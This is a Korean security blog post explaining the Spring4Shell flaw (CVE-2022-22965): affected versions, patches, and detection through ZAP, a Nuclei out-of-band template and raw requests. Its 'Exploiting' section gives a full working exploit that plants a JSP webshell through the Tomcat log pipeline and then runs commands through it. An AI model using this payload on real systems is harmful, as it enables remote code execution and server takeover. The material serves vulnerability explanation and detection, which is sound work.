Spring4Shell RCE 취약점 (CVE-2022-22965)

지난 주 Spring4Shell 취약점으로 인해 인터넷이 또 불탈 뻔 했습니다. 다행히 Log4Shell 보단 재현하기 어렵다는 문제로 무난하게 지나갔는데요. 겸사겸사 좀 늦었지만 이슈 정리해서 글로 올려볼까 합니다.

Spring4Shell

JDK 9버전 이상의 Spring Core에서 RCE(Remote Code Execution)이 가능한 취약점입니다. 공개 당시 0-day 상태였고, 이후 CVE-2022-22965 할당 및 패치가 공개되었습니다. 별거 아니다, 심각한거다 이야기가 많았는데 결국 CVSS 9.8을 받았네요.

문제점

JDK 9+에서 Spring MVC나 Spring WebFlux가 구동중이고, Endpoint에 Data binder가 enabled 된 경우에 Request에 포함된 공격코드를 Binding 하면서 공격자가 의도한 로직이 실행됩니다. Data binder에서 class를 의미하는 string 값은 binding 하지 못하도록 제한되어야 하는데, 이 부분에 결함이 있었던 것 같습니다.

공격의 한계

알려진 내용으로는 Exploit이 war 파일로 배포되는 경우에 영향을 받는다고 합니다. Spring boot가 기본적으로 jar를 통한 배포를 사용하기 때문에 생각보다 파급력이 크지는 않았습니다. 다만 악용하는 방법이 다 공개된 것도 아닐테고, 리스크는 여전히 존재하니 가급적이면 패치하는게 좋습니다.

취약 버전

  • Spring framework 5.3.0 - 5.3.17
  • Spring framework 5.2.0 - 5.2.19
  • 및 구버전

패치 버전

  • Spring framework 5.3.18+, 5.2.2+
  • Spring boot 2.5.12, 2.6.6

How to detect

ZAP

ActiveScan Rule Alpha 37.0 버전에 반영되었습니다. Alpha Rule을 사용하신다면 모든 Node에 대해 class.module.classLoader.DefaultAssertionStatus=nonsense Query를 붙여 400 Bad Request를 탐지합니다.

Nuclei

nuclei template의 경우 class.module.classLoader.resources.context.configFile 을 이용하여 OAST 요청을 유도합니다.

id: CVE-2022-22965

info:
  name: Spring Framework RCE via Data Binding on JDK 9+ (Spring4Shell)
  author: justmumu,arall,dhiyaneshDK,akincibor
  severity: critical
  description: A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
  remediation: 5.3.x users should upgrade to 5.3.18+, 5.2.x users should upgrade to 5.2.20+.
  reference:
    - https://tanzu.vmware.com/security/cve-2022-22965
    - https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
    - https://twitter.com/RandoriAttack/status/1509298490106593283
    - https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw
    - https://twitter.com/_0xf4n9x_/status/1509935429365100546
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-770
  tags: cve,cve2022,rce,spring,injection,oast

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?class.module.classLoader.resources.context.configFile=https://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
        case-insensitive: true

https://github.com/projectdiscovery/nuclei-templates/blob/6020f5f7e74135970bc283317cc303fc6597b1e5/cves/2022/CVE-2022-22965.yaml

Raw Request

Error Base

Request

GET /?class.module.classLoader.DefaultAssertionStatus=nonsense HTTP/1.1
Host: localhost

Response

HTTP/1.1 400
Content-Type: application/json
Connection: close

OAST Base

Request

GET /?class.module.classLoader.resources.context.configFile=http://<OAST>&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1 HTTP/1.1
Host: localhost

OAST Reaction

Exploiting

First Request

POST / HTTP/1.1
Host: localhost
suffix: %>//
c1: Runtime
c2: <%

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22password%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Second Request

GET /tomcatwar.jsp?pwd=password&cmd=<YOUR-COMMAND> HTTP/1.1
Host: localhost

Sample app

docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29

References